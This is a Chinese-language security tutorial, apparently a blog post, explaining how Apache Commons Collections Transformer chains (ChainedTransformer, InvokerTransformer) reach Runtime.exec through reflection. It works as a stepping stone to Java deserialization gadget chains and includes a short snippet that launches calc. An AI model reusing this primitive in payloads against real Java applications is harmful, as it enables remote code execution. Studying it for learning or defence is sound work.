Java安全 反序列化(2) 链式的命令执行原理分析

Java安全 反序列化(2) 链的命令执行原理分析

CC链的命令执行原理的前置学习便于快速学习CC链

Transformer实现任意命令执行

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Transformer_exec {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"})};
        Transformer transformer= new ChainedTransformer(transformers);
        transformer.transform(123);
    }


}

image-20240316001512502

可以实现任意命令执行

逐行分析

1.新建Transformer 数组

Transformer[] transformers = new Transformer[]

2.Transformer数组内容

{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"})};

涉及Constanttransformer 和 InvokerTransformer

Constanttransformer接受 Object 传递给 this.iConstant

image-20240316001925424

Runtime.getRuntime()通过Runtim静态方法getRuntime获取Runtime对象

将Runtime对象赋值给 iConstant

InvokerTransformer

image-20240316002216302

接受 String methodName="exec", Class[] paramTypes={String.class}, Object[] args={"calc"}

分别赋值给iMethodName,iParamTypes,iArgs

参数1.方法名2.参数类型3.具体参数

3.新建ChainedTransformer具有多态

Transformer transformer= new ChainedTransformer(transformers);

image-20240316002553460

接受Transform[] 传递给iTransformers

4.调用transform方法

transformer.transform(123);

具体实现类是ChainedTransformer相当于调用 ChainedTransformer#transform

image-20240316002913755

动态调试

为了便于理解我们采取调试分析

此时我们传入123 作为 Interger对象

image-20240316003256797

iTransformers就是Constanttransformer 和 InvokerTransformer

1.当i=0时取到Constanttransformer

Constanttransformer#transform

image-20240316003549574

直接返回iConstant也就时Runtime对象

Runtime对象覆盖了Interger对象

2.当i=1时取到 InvokerTransformer

调用IvokerTransformer的transform方法

image-20240316003721119

传入input为Runtime对象

Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

有没有认为这一段非常眼熟

就是反射调用Runtime.getRuntime.exec()方法(底层实现)

等价于

Class cls = Runtime.getClass();
            Method method = cls.getMethod("exec", "String.class");
            return method.invoke(Runtime, "calc");

所以我们可以执行任意命令

  • 33
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值